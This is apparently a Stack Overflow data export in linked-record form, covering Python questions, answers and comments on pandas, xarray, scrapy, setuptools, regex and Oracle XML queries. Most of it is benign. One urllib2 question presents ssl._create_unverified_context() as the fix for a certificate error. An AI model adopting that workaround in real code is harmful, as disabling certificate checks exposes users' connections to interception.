comment on: http://stackoverflow.com/a/46926595
type: Comment
score: 0
has text: Thanks for the solution, @COLDSPEED
type: AnswerComment

http://stackoverflow.com/comment/80964336
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47008909
has text: I liked `iat[0]` nice one sir.
type: Comment

http://stackoverflow.com/q/47034946
score: 10
tagged with: python
linked to: http://stackoverflow.com/q/952914
tagged with: python-xarray
has body: Is there a simple way of flattening an xarray dataset into a single 1D numpy array? For example, flattening the following test dataset: xr.Dataset({ 'a' : xr.DataArray( data=[10,11,12,13,14], coords={'x':[0,1,2,3,4]}, dims={'x':5} ), 'b' : xr.DataArray(data=1,coords={'y':0}), 'c' : xr.DataArray(data=2,coords={'y':0}), 'd' : xr.DataArray(data=3,coords={'y':0}) }) to [10,11,12,13,14,1,2,3] ?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81017983
accepted answer: http://stackoverflow.com/a/56987127
answer count: 3
has answer: http://stackoverflow.com/a/47262433
downvote count: 0
upvote count: 10
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47042048
possible better answer: http://stackoverflow.com/a/47042048
has answer: http://stackoverflow.com/a/56987127
has title: How to flatten an xarray dataset into a 1D numpy array?

http://stackoverflow.com/q/47059059
accepted answer: http://stackoverflow.com/a/47059432
linked to: http://stackoverflow.com/q/5305456
has answer: http://stackoverflow.com/a/47059432
favorite count: 0
type: Question
tagged with: hash
tagged with: encoding
tagged with: md5
downvote count: 0
linked to: http://stackoverflow.com/q/20374524
tagged with: base64
has body: I need to convert a HEX-type md5 string to the base64 version in Python. For example, if I had MD5: 4297f44b13955235245b2497399d7a93 I need the code to produce Qpf0SxOVUjUkWySXOZ16kw== This is identical to another SO asking for a C# implementation, but I need the Python code. This is similar to this SO asking to convert a single binary number to base64 in Python.
has title: Convert string with HEX MD5 to base64 encoding
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 1
tagged with: python

http://stackoverflow.com/q/46921495
possible better answer: http://stackoverflow.com/a/46921584
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/46921587
has title: need to access nested values in json.load
upvote count: 1
has answer: http://stackoverflow.com/a/46921584
has answer: http://stackoverflow.com/a/46921587
downvote count: 1
favorite count: 0
type: Question
has body: I am using Hufman's Honeywell Python code to pull data from the MyTotalConnectComfort website. Code is here. I have modified the code for 2.7. I am using Flask as well. When i make the call to client.locations() i get back a json file that has 6 keys. I pare down the data inside the json to get just the data behind the single key i want which is 'Devices'. I use the following code to do this: Honeywelldata = client.locations() newlist2 = [] dada = {} for keyl, value in Honeywelldata[0].items(): if keyl == "Devices": dada[keyl] = value print "dadakey", dada[keyl] newlist2.append(dada) print "newlist2 keys", newlist2[0].keys() print "newlist2", json.dumps(newlist2, sort_keys=True,indent=4,separators=(',', ': ')) I get back the data and formatted list at the bottom of this thread. I am trying to be able to pass this json to an html and then use the following html code to post values from this list. I have tried many things and I cannot get to the child values of 'Devices'. I keep getting this error UndefinedError: 'list object' has no attribute 'Devices' Do i need to re-key this list or beside being a newbie what am i doing wrong. Thanks. Here is the newlist2 keys &amp; data (jsonlint.com shows this as a valid json) newlist2 keys [u'Devices'] [{ "Devices": [{ "AlertSettings": null, "DehumidifierData": null, "DemandResponseData": null, "DeviceID": 1111111, "DeviceType": 48, "FanData": null, "HasAlertSettings": false, "HasDehumidifier": false, "HasFan": false, "HasHumidifier": false, "HasUIData": true, "HoldUntilCapable": true, "HumidifierData": null, "IsAlive": true, "IsUpgrading": false, "LocationID": 1111111, "MacID": "000000000000", "Name": "THERMOSTAT", "Schedule": null, "ScheduleCapable": true, "ThermostatData": { "AllowedModes": [ 3, 1, 2 ], "CoolRate": null, "CoolSetpoint": null, "Deadband": 0.0, "DisplayUnits": 1, "EquipmentOutputStatus": null, "HeatRate": null, "HeatSetpoint": null, "IndoorHumidity":…
has comment: http://stackoverflow.com/comment/80793791
tagged with: python
tagged with: flask
has comment: http://stackoverflow.com/comment/80790578
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: honeywell

http://stackoverflow.com/a/46915854
has comment: http://stackoverflow.com/comment/80796829
downvote count: 0
has body: After looking around, it looks like x = pd.Series(map(lambda x: compute_coverage(x[0], x[1]), zip(df.sentence, df.lang))) takes 9s, 7 of which are spent inside compute_coverage, so it looks like it can't get much better without optimizing that function. It's probably not the best way to do it, but it works well enough in the meanwhile.
upvote count: 1
answers question: http://stackoverflow.com/q/46914746
score: 1
type: Answer

http://stackoverflow.com/q/46906274
type: AnsweredQuestion
score: 5
tagged with: setuptools
answer count: 1
downvote count: 1
favorite count: 0
has title: How to install pre-release python packages in setup.py install_requires section?
type: Question
linked to: http://stackoverflow.com/q/64319173
has answer: http://stackoverflow.com/a/50611866
accepted answer: http://stackoverflow.com/a/50611866
has body: In case a python package has a dependency to external libraries we can do: from setuptools import setup setup(name='funniest', version='0.1', description='The funniest joke in the world', url='http://github.com/storborg/funniest', author='Flying Circus', author_email='flyingcircus@example.com', license='MIT', packages=['funniest'], install_requires=[ 'markdown', ], zip_safe=False) If I want to install pre-release version of a package in install_requires what should I do? I could not find any flag or command in setuptools, that could do so? What is the solution for installing unstable pre-release version of packages in install_requires?
upvote count: 6
tagged with: python
tagged with: dependencies

http://stackoverflow.com/q/46965762
type: Question
has body: I have a scrapy function that loops recursively through a URL, on every iteration I get a JSON response that contains the HTML page and a number that I use as a parameter to call the same URL to get the new data and so on... The problem is that in the second iteration I don't get the response object updated (the next iteration will contain the old response from the first iteration), and thus the same url gets scraped over and over. Is there a way to tell scrapy not to process until it gets the new response? something like a synchronous call, since every iteration will depend on the parameter received by the old iteration. my code looks like the following: def parse_tweets(self, response): while(self.keepScroll): #convert response data = json.loads(response.text) selector = Selector(text=data['items_html'], type='html') #extract next position parameter nextPosition = data['min_position'].split('-') nextPosition = 'TWEET-'+nextPosition[1] + '-' + nextPosition[2] #extract data comments_react = self.stats_extractor('reply', selector) retweet_react = self.stats_extractor('retweet', selector) favorite_react = self.stats_extractor('favorite', selector) tweets = selector.xpath('.//*[contains(@class,"js-stream-item stream-item stream-item")]/div[1]/div[2]/div[2]/p/text()').extract() tweetdates = selector.xpath('.//*[contains(@class,"js-stream-item stream-item stream-item")]/div[1]/div[2]/div[1]/small/a/span[1]/text()').extract() yield { 'comments' : comments_react, 'retweets' : retweet_react, 'favorites' : favorite_react, 'teweets' : tweets, 'tweetDates' : tweetdates, } #update parameter to get next data self.get_params['max_position'] = nextPosition self.keepScroll = data['has_more_items'] #call the new API with the nex parameters yield Request(self.tweetAPIGetParams[0]+'?'+urlencode(self.get_params), callback=self.parse_tweets,dont_filter=True,cookies=self.API_Cookies,headers=self.params)
type: UnansweredQuestion
has title: scrapy crawl same url over and over
tagged with: python
has comment: http://stackoverflow.com/comment/80895543
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/80896006
tagged with: web-scraping
tagged with: scrapy

http://stackoverflow.com/comment/80908415
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46980430
has text: Thank you so much! One question - why does .append() work in this scenario? I thought it joined two lists together or added something into a list but here it returns the 'b' by the number of times answer and guess share the same str at the same i?

http://stackoverflow.com/comment/80922561
has text: @CSM why don't you keep the filename in self.output, and then open it with a `with` statement inside any methods that would need to write to the file?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46986925
score: 0

variables
tags question: http://stackoverflow.com/q/46978763
tag name: variables
tags question: http://stackoverflow.com/q/46916608
tags question: http://stackoverflow.com/q/46945550
tags question: http://stackoverflow.com/q/47025509
tags question: http://stackoverflow.com/q/46987911
tags question: http://stackoverflow.com/q/47026332
tags question: http://stackoverflow.com/q/47046360
tags question: http://stackoverflow.com/q/46965933
tags question: http://stackoverflow.com/q/46936267
tags question: http://stackoverflow.com/q/47005129
tags question: http://stackoverflow.com/q/46916293
tags question: http://stackoverflow.com/q/46918483
tags question: http://stackoverflow.com/q/46991343
tags question: http://stackoverflow.com/q/47006802
type: Tag

http://stackoverflow.com/q/46906052
type: Question
score: 3
linked to: http://stackoverflow.com/q/54272277
has body: When I was plotting with Seaborn pointplot, the gap between two adjacent values on the x-axis should be different, but now all of them are same, how could I change that? For example, the gap between 5 and 7 is two, the other gaps are 1, but in the plot they all have the same length. import seaborn as sns tips = sns.load_dataset('tips') tips.loc[(tips['size'] == 6), 'size'] = 7 sns.pointplot('size', 'total_bill', 'sex', tips, dodge=True)
has comment: http://stackoverflow.com/comment/80760876
has answer: http://stackoverflow.com/a/73040508
tagged with: python
has answer: http://stackoverflow.com/a/46940057
answer count: 2
upvote count: 3
tagged with: seaborn
type: UnansweredQuestion
downvote count: 0
has title: Changing the gap between two adjacent values on the x-axis in Seaborn pointplot
favorite count: 0

http://stackoverflow.com/a/50716225
answers question: http://stackoverflow.com/q/46956923
score: 0
type: Answer
has body: Try 'run_as_user': '' in default_args of DAG definition. This will make a sudo -c when it will launch the BashOperator

http://stackoverflow.com/comment/80846626
score: 0
comment on: http://stackoverflow.com/q/46949647
type: Comment
type: QuestionComment
has text: what do you get when you print text?

http://stackoverflow.com/comment/80905528
comment on: http://stackoverflow.com/a/46965980
has text: I'm going to up-vote this because it works. You swapped the while loop in the iterative method for recursion. Notice you have to keep track of the previous pointer. You can do this more elegantly by making the recursive stack hold the previous pointer, and I'll post an alternate recursive solution most people are familiar with shortly.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80895902
comment on: http://stackoverflow.com/q/46974237
type: QuestionComment
score: 0
has text: I've not used it, but this sounds like a job for pandas.
type: Comment

http://stackoverflow.com/q/46932045
has comment: http://stackoverflow.com/comment/80811222
has comment: http://stackoverflow.com/comment/80811567
answer count: 1
tagged with: python-requests
favorite count: 0
type: Question
tagged with: urllib2
has body: So when I debug my code in pycharm I caught an exception in urllib2.urlopen: #!/usr/bin/python req = urllib2.Request(urlname) urllib2.urlopen(req) This is an error I caught: 'Exception Error in Token:RequestToken : (&lt;class \\'urllib2.URLError\\'&gt;, URLError(SSLError(1, u\\'[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)\\'),), &lt;traceback object at 0x7fbcfbfb1a70&gt;)' I should did like this actually: #!/usr/bin/python context = ssl._create_unverified_context() req = urllib2.Request(urlname) urllib2.urlopen(req, context=context)
tagged with: exception
upvote count: 0
score: -2
downvote count: 2
accepted answer: http://stackoverflow.com/a/47312186
tagged with: python
tagged with: virtualenv
has answer: http://stackoverflow.com/a/47312186
has title: python code throw Exception in new environment but works fine without it
has comment: http://stackoverflow.com/comment/80810932
type: AnsweredQuestion

http://stackoverflow.com/comment/80957173
type: QuestionComment
type: Comment
score: 0
has text: @Harry yes, the frame count which is in resulting list seems correct. Whether there is fast output or not. The error seems to appear randomly.
comment on: http://stackoverflow.com/q/47004388

http://stackoverflow.com/comment/80935213
type: Comment
type: QuestionComment
has text: I don't think you can do it so in matlab in this manner, maybe in other ways. Because of the mantra *functions are 1st class citizens* you can do it in Python. This is not the case for matlab.
comment on: http://stackoverflow.com/q/46994266
score: 0

http://stackoverflow.com/q/47017722
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47019759
possible better answer: http://stackoverflow.com/a/47017807
has title: Need help combining data points
upvote count: 1
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/47017807
has answer: http://stackoverflow.com/a/47019759
has body: I have a list that (right now) exists of 2 columns: t and volume, and about 80000 rows, looking like this: "t" "volume" 1 20 2 25 2 40 3 23 3 34 3 45 I have created this list with the use of numpy's np.loadtext What I want to do now, is add the volumes of all data points with the same t, to create a list like this, that I can graph with matplotlib: "t" "volume" 1 20 2 65 3 102 but I'm not sure how to do this, as I'm not sure how I would explicitly state this in the code. Could anybody perhaps help me out here?
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47017903

http://stackoverflow.com/comment/80794522
has text: just do `pip install numpy`
type: Comment
comment on: http://stackoverflow.com/q/46923790
score: 1
type: QuestionComment

http://stackoverflow.com/q/46947623
has comment: http://stackoverflow.com/comment/80842418
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80842853
score: -1
has comment: http://stackoverflow.com/comment/80842457
has comment: http://stackoverflow.com/comment/80842732
downvote count: 2
has title: List of variables from local scope
answer count: 1
has body: In python dir displays all the names defined in namespace. I checked and it worked fine. But when I used dir(function_name) it didn't display the variables I created inside the function. Why? Here's a code sample: &gt;&gt;&gt; def printHello(greetings): ... inside_func=2 ... &gt;&gt;&gt; dir() ['__builtins__', '__doc__', '__name__', '__package__', 'printHello',] &gt;&gt;&gt; dir(printHello) ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
upvote count: 1
has comment: http://stackoverflow.com/comment/80842557
has answer: http://stackoverflow.com/a/46948122
tagged with: namespaces
favorite count: 0
type: Question

http://stackoverflow.com/a/47059888
upvote count: 1
has body: The problem turned out to be a sys.path issue in combination with a lack of initializing Django. The working celery_init.py looks like: from __future__ import absolute_import import os import sys from celery import Celery import django app = Celery('myproject') app.config_from_object('django.conf:settings', namespace='CELERY') os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'myproject.settings.settings') sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../myproject'))) django.setup() from django.conf import settings app.autodiscover_tasks(lambda: settings.INSTALLED_APPS)
downvote count: 0
has comment: http://stackoverflow.com/comment/104776248
answers question: http://stackoverflow.com/q/47042415
has comment: http://stackoverflow.com/comment/134059940
score: 1
type: Answer

http://stackoverflow.com/q/46962763
has comment: http://stackoverflow.com/comment/80875037
upvote count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80873573
has comment: http://stackoverflow.com/comment/80873526
downvote count: 0
has answer: http://stackoverflow.com/a/46963050
has comment: http://stackoverflow.com/comment/80873425
favorite count: 0
has answer: http://stackoverflow.com/a/46963146
type: Question
accepted answer: http://stackoverflow.com/a/46963742
has body: Given this semi-colon separated C/Java/other expression text = "func(10+3,40+5);....;func(6+7,8+9)" I want to extract the positions of the parameters of func, made of 2 added litterals. import re text = "func(10+3,40+5);....;func(6+7,8+9)" result = [(x.start(),x.end()) for x in re.finditer("\d+\+\d+,?",text)] print(result) gives: [(5, 10), (10, 14), (26, 30), (30, 33)] But this isn't what I want: I would like to stop iterating when the parameters are not consecutive (because I'll look for the next func later, I want to extract parameters of func, not other functions). In that case, re.finditer warps to the next pattern, skipping non-matching data in between. To do what I want, I figured out a solution memorizing the previous match and checking if the current match comes right after it (if exist). Like this: result=[] previous_match = None for x in re.finditer("\d+\+\d+,?",text): if previous_match and previous_match.end()!=x.start(): break previous_match = x result.append((x.start(),x.end())) print(result) gives: [(5, 10), (10, 14)] which is what I want, but I lose the list comprehension, and I introduce an ugly memory parameter. Any better way to do this?
possible better answer: http://stackoverflow.com/a/46963217
has answer: http://stackoverflow.com/a/46963742
has comment: http://stackoverflow.com/comment/80874996
tagged with: python
has answer: http://stackoverflow.com/a/46963217
tagged with: regex
score: 4
has title: how to iterate on consecutive patterns only
answer count: 4

http://stackoverflow.com/q/46965886
type: Question
has title: How can I create a color image (RGB), after changing it into a 3 dimensional array of each pixel?
tagged with: numpy
has answer: http://stackoverflow.com/a/46967133
tagged with: arrays
tagged with: python
accepted answer: http://stackoverflow.com/a/46967133
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80879597
tagged with: python-imaging-library
upvote count: 2
score: 2
answer count: 1
downvote count: 0
tagged with: image-processing
has body: My issue is that I'm taking a sample image and trying to change specific RGB values to change the appearance. After getting the data for each pixel, saving it as a 3-dimensional array, I then try to turn it back into an image but I'm getting the following error. I know that it wants 2-dimensional arrays to convert it back into an image, but I don't know how i can keep it in color and convert it back to an image. Any ideas? from PIL import Image import numpy as np # Opens the image, giving it the call name im img = Image.open("sample_images\sample_image_1.jpg") # This function makes a list containing every RGB value of each pixel in sample_image_1 img_as_list = np.uint8(np.asarray(img)) print(img_as_list) for x in img_as_list: for rVal in x[0]: if rVal &lt;= 255: rVal = 0 for bVal in x[1]: if bVal &lt;= 255: bVal = 0 for gVal in x[2]: if gVal &lt;= 255: gVal = 0 # Crate a new image from the list that i made from the picture new_img = Image.fromarray(np.uint8(img_as_list),"L") print(img_as_list) new_img.show() img.show() Thanks
favorite count: 0

http://stackoverflow.com/q/46990198
has comment: http://stackoverflow.com/comment/80927356
has comment: http://stackoverflow.com/comment/80927206
has comment: http://stackoverflow.com/comment/80927169
tagged with: pandas
has comment: http://stackoverflow.com/comment/80927502
has comment: http://stackoverflow.com/comment/80926990
has comment: http://stackoverflow.com/comment/80927044
has comment: http://stackoverflow.com/comment/80927796
has comment: http://stackoverflow.com/comment/80927724
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80927029
has comment: http://stackoverflow.com/comment/80943161
has comment: http://stackoverflow.com/comment/80927085
has comment: http://stackoverflow.com/comment/80926882
answer count: 0
has title: Adding missing data at specific index, Python, Pandas
type: UnansweredQuestion
has body: I have a large dataset with NBA player and ball positions and I want to divide it in 11 datasets each of which will contain the position of the ball, player1, player2, player3, player4 ... player10. So I divided the dataset originally based on index as such: ball_set = training_set.iloc[0::11,:] player1_set = training_set.iloc[1::11,:] player2_set = training_set.iloc[2::11,:] player3_set = training_set.iloc[3::11,:] player4_set = training_set.iloc[4::11,:] player5_set = training_set.iloc[5::11,:] player6_set = training_set.iloc[6::11,:] player7_set = training_set.iloc[7::11,:] player8_set = training_set.iloc[8::11,:] player9_set = training_set.iloc[9::11,:] player10_set = training_set.iloc[10::11,:] But then I realized that some of the ball positions for whatever reason are missing so after the first missing ball position this way of splitting the dataset does not work. I tried to do it by using the column name but problem is that I end up with more player positions than ball positions. So my question is: What can I do to modify the dataset as such: Everytime I find that a ball position is missing I add the last known position to where the new one should be and I modify the indexes after that so the every nth element sampling continues to work. The dataset is extremely big and I can't think of a way that won't be too time consuming. Sorry for the difficulty explaining the problem. print(ball.head(10)) team_id player_id x_loc y_loc radius game_clock shot_clock \ 0 -1 -1 75.32556 5.98097 5.49124 706.62 8.92 11 -1 -1 76.07296 5.46993 5.15024 706.58 8.90 22 -1 -1 76.81954 5.19475 4.95356 706.54 8.88 33 -1 -1 77.57706 5.46789 4.93948 706.49 8.86 44 -1 -1 78.24726 5.89358 4.89680 706.45 8.85 55 -1 -1 78.98622 6.39669 4.75053 706.41 8.83 66 -1 -1 79.75325 6.93706 4.44634 706.37 8.81 77 -1 -1 80.55254 7.51884 3.98987 706.33 8.80 88 -1 -1 81.38831 8.14618 3.38672 706.29 8.78 99 -1 -1 82.26478 8.82324 2.64252 706.25 8.76 quarter game_id event_id 0 1 21500491 1 11 1 21500491 1…
has comment: http://stackoverflow.com/comment/80980027
type: Question
score: 0
has comment: http://stackoverflow.com/comment/80927624
has comment: http://stackoverflow.com/comment/80928206
has comment: http://stackoverflow.com/comment/80927513

http://stackoverflow.com/a/47045156
has comment: http://stackoverflow.com/comment/81037729
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47045027
type: Answer
has body: Avoid entering empty string in list in the first place: facebookF = [ ] partyA = [ ] add_facebookF_option = 'Y' while add_facebookF_option == 'Y': a = input('What friends do Alice have in her Facebook? ') if a: facebookF.append(a) add_facebookF_option = input('Type Y to add more friend for Alice. Type others if no.') add_partyA_option = 'Y' while add_partyA_option =='Y': a = input('Who is attending the party?') if a: partyA.append(a) add_partyA_option = input('Is there any others attending the party? Type Y if yes, type others if no.') print(facebookF) print(partyA) notInvited=[] list3 = facebookF + partyA for i in range(len(list3)): if (list3[i] not in facebookF) or (list3[i] not in partyA): notInvited.append(list3[i]) print(notInvited)
has comment: http://stackoverflow.com/comment/81037774
answers question: http://stackoverflow.com/q/47045027
has comment: http://stackoverflow.com/comment/81037796
score: 0

http://stackoverflow.com/q/46993282
type: Question
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46993609
tagged with: python
score: 2
answer count: 2
has answer: http://stackoverflow.com/a/46993389
has title: How to uninstall Python 2.7 and keep Python 3.4?
downvote count: 0
has body: I think my title is pretty self-explanatory. I want to uninstall Python 2.7 and keep Python 3.4 intact. Is this easy to do? I found a couple of tutorials about how to uninstall Python, but I don't want to uninstall the entire thing. Also, I am running Spyder (Python 3.6). This should work just fine after I get rid of 2.7, right. The reason I am asking all of this is because I installed pandas_datareader and apparently it went to 2.7, but I really wanted it on 3.4. Finally, I'm assuming, after I unistall 2.7, and run this 'pip install pandas_datareader' it will go to 3.4, right. I can't seem to control where the install goes.
favorite count: 0

http://stackoverflow.com/a/47022708
has comment: http://stackoverflow.com/comment/81030696
has comment: http://stackoverflow.com/comment/81025404
type: Answer
has comment: http://stackoverflow.com/comment/81025723
has comment: http://stackoverflow.com/comment/81025237
answers question: http://stackoverflow.com/q/47021031
has comment: http://stackoverflow.com/comment/81036389
score: 0
has comment: http://stackoverflow.com/comment/81025363
has body: Consider using Oracle's XML handlers and avoid any nested looping: SELECT e.SysName, e.ServerDt, e."UID", e.PersID, e.Emp_name, e.EventID, e.EventTXT, e.CauseEventID, e.CauseEventTXT, e.EventBegda, e.EventEndda, e.AccrualsSum, e.AccrualsProz, e.OrderNum, e.Perg, e.Perk, e.Awart FROM XMLTABLE('/Root/SvcNf/PersonNf/PersonList/Row' PASSING XMLTYPE(' MI6 2016-10-28 03:00:12 +03:00 9457A55E17341AA7ASDEDS057A8BFFF3 007 <Emp_name>James Bond</Emp_name> 25 Drinking alcohol 03 Martini with vodka 2017-10-18 2017-10-18 171.0 0.0 Chinees_ P-336 0 15 <Awart/> ') COLUMNS SysName VARCHAR2(25) PATH 'SysName', ServerDt VARCHAR2(25) PATH 'ServerDt', "UID" VARCHAR2(25) PATH 'UID', PersID VARCHAR2(25) PATH 'PersID', Emp_name VARCHAR2(25) PATH 'Emp_name', EventID NUMBER PATH 'EventID', EventTXT VARCHAR2(25) PATH 'EventTXT', CauseEventID VARCHAR2(25) PATH 'CauseEventID', CauseEventTXT VARCHAR2(25) PATH 'CauseEventTXT', EventBegda VARCHAR2(25) PATH 'EventBegda', EventEndda VARCHAR2(25) PATH 'EventEndda', AccrualsSum VARCHAR2(25) PATH 'AccrualsSum', AccrualsProz VARCHAR2(25) PATH 'AccrualsProz', OrderNum VARCHAR2(25) PATH 'OrderNum', Perg NUMBER PATH 'Perg', Perk NUMBER PATH 'Perk', Awart VARCHAR2(25) PATH 'Awart') AS e; Rextester demo To implement in a Python database cursor such as with cx_Oracle for an append query: sql = """INSERT INTO mytable (Col1, Col2, Col3, ...) SELECT ...same as above... FROM XMLTABLE('/Root/SvcNf/PersonNf/PersonList/Row' PASSING XMLTYPE(:i_param) COLUMNS ...same as above...) AS e """ # PARSE XML FILE doc = ET.parse(events) xmlstr = ET.tostring(doc.getroot()).decode('utf-8') # PASS XML STRING AS PARAMETER cur.execute(sql, {'i_param':xmlstr}) dbconn.commit() For very large XML content that exceeds Oracle's 4,000 bytes in SQL, use PL/SQL with varchar2 limit of 32,767 bytes as shown here by @NickS: sql = """ DECLARE xml_value varchar2(32767); BEGIN xml_value := :i_param; INSERT INTO mytable (Col1, Col2, Col3, ...) SELECT ...same as above... FROM XMLTABLE('/Root/SvcNf…
has comment: http://stackoverflow.com/comment/81028973
has comment: http://stackoverflow.com/comment/81029172
has comment: http://stackoverflow.com/comment/81026292
has comment: http://stackoverflow.com/comment/81030166
has comment: http://stackoverflow.com/comment/81025597

http://stackoverflow.com/comment/81056868
has text: How should they be compared?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47054991
type: QuestionComment

http://stackoverflow.com/comment/80803327
type: AnswerComment
comment on: http://stackoverflow.com/a/46928175
type: Comment
has text: This is extremely inefficient. Do _not_ do this (actually, did you misread the question?).
score: 0

http://stackoverflow.com/comment/80760018
comment on: http://stackoverflow.com/a/46906437
type: Comment
score: 0
type: AnswerComment
has text: For python2.7 use this solution, https://stackoverflow.com/questions/2158395/flatten-an-irregular-list-of-lists

http://stackoverflow.com/comment/81013670
has text: strange. where do you get page_nr ? and the whole line {%page_not_over_amount page_nr amount_comments limit_amount_comment%} what kind of a tag is this ? I haven't seen anything like that before.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47033522

http://stackoverflow.com/a/47017700
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/47017541
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80984891
answers question: http://stackoverflow.com/q/47017541
has comment: http://stackoverflow.com/comment/80981848
has body: This should do it, combination of list and dict comprehension: {country: [tuple(xy_set.split(';')) for cordinate_set in coordinate for xy_set in cordinate_set.split()] for country, coordinate in dict.items()} The 101 way: result = {} for country, coordinate in dict.items(): for cordinate_set in coordinate: for xy_set in cordinate_set.split(): e = tuple(xy_set.split(';')) if country in result: result[country].append(e) else: result[country] = [e]
type: Answer
has comment: http://stackoverflow.com/comment/113545720
has comment: http://stackoverflow.com/comment/113544133

http://stackoverflow.com/comment/81041281
type: AnswerComment
comment on: http://stackoverflow.com/a/47046820
type: Comment
has text: when I use it in my program, I am unable to interact with any of the widgets within the original root. I would consider this preventing access
score: 0

http://stackoverflow.com/q/47045635
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/91096099
tagged with: python
has title: Memory error at drop rows from pandas data frame
favorite count: 0
score: 2
tagged with: performance
has body: I have a big data frame, 26M lines of data on 9000 persons. indices are not ordered. I need to run few calculation on the data of each person separately, and save it to new data frame, one line per person. I wrote a loop on the unique persons id, extracted small data frame with this person's data, run the calculation on it, and save results to a pre-defined data frame. The calculations are mainly sum and divide operation on columns under specific conditions. This took around an hour on Amazon linux server. not practical. To make it more efficient, I tried to delete the current person from the data frame, so data frame decrease in size will increase efficiency. I got a memory error after 2-4 steps. I manage to reconstruct the problem on my laptop-windows. The problem occurs only if data frame size is large enough. on my laptop from 4000000. resetting the indices, solved the problem for this size, but memory problem repeated in larger size of 40000000. I am newbie in large data sets, and newbie in pandas, Any idea will be appriciated import numpy as np import pandas as pd import time import random random.seed(50) np.random.seed(50) size = 4000000 dtype = [('view_day', 'int32'), ('account', 'int32'),('category', 'int32'), ('Col1I','int32'), ('Col2I','int32'),('Col3I','int32'), ('Col4F','float32'), ('Col5F','float32'), ('Col6F','float32'), ('isFull','int32'), ('islong','int32')] values = np.ones(size, dtype=dtype) index = np.arange(size) np.random.shuffle(index) df = pd.DataFrame(values, index=index) df['view_day'] = np.random.randint(7605, 7605 + 180, df.shape[0]) df['account'] = np.random.randint(1548051, 1548051 + 100, df.shape[0]) df['category'] = np.random.randint(1, 5, df.shape[0]) df['Col1I'] = np.random.randint(600, 1200, df.shape[0]) df['Col2I'] = np.random.randint(1, 600, df.shape[0]) accounts= df.account.unique() for w in accounts: dfs = df[df.account == w]#.copy() - both versions causing memory error print dfs.shape print df.shape df.drop(dfs.index, inplace=…
downvote count: 0
tagged with: pandas
tagged with: large-data
type: Question
upvote count: 2
answer count: 0

http://stackoverflow.com/comment/81000224
has text: I understand what you _want_. The results are likely because of overhead of task switching verses the fact that the target processes have an extremely tight loop running almost continuously that is causing the them to behave as they do. This would also explain why adding a small amount of `sleep()` to the tight loop helps.
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47026328
type: AnswerComment

http://stackoverflow.com/q/47042550
has comment: http://stackoverflow.com/comment/81032215
tagged with: python
has body: so im looking for the correct variable that will end the while loop once the loop reaches the end of the file. Here is my code so far: file_name = input("Please enter file name: ") open_file = open(file_name,"r") while ##variable## != "": line1 = open_file.readline() line2 = open_file.readline() line3 = open_file.readline() line4 = open_file.readline() Lets say that my file that i opened looks like this: Babbage, Charles 10.0 9.5 8.0 10.0 9.5 10.0 9.0 85.0 92.0 81.0 Turing, Alan 10.0 8.0 6.0 10.0 10.0 9.0 9.5 90.0 92.0 88.5 Hopper, Grace 10.0 10.0 8.0 10.0 10.0 9.0 9.5 90.0 92.0 88.0 I need the loop to end as soon as it reads the last line, heres some pseudocode: #Get first data #while data is not sentinel #process the data # # # # #Get next data Hopefully thats clear, i appreciate your help.
has answer: http://stackoverflow.com/a/47042634
score: 0
answer count: 3
tagged with: while-loop
has answer: http://stackoverflow.com/a/47042794
linked to: http://stackoverflow.com/q/845058
tagged with: sentinel
type: Question
has comment: http://stackoverflow.com/comment/81032371
type: UnansweredQuestion
has title: Trouble finding correct variable for while loop
has answer: http://stackoverflow.com/a/47043157

http://stackoverflow.com/a/47026797
answers question: http://stackoverflow.com/q/47026617
score: 0
has body: Your program correctly outputs nothing. I suspect that you think that main() will be implicitly called; it will not. If you want main() to run, you'll need to invoke it yourself. Conversely, if you have code that you want to run implicitly, don't put it inside a function defintion. Try one of these: import numpy print numpy.__version__ or import numpy def main(): print numpy.__version__ if __name__=="__main__": main()
type: Answer
has comment: http://stackoverflow.com/comment/81041422
has comment: http://stackoverflow.com/comment/81040936

http://stackoverflow.com/a/46924012
upvote count: 4
has comment: http://stackoverflow.com/comment/80836112
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46923813
has comment: http://stackoverflow.com/comment/80836386
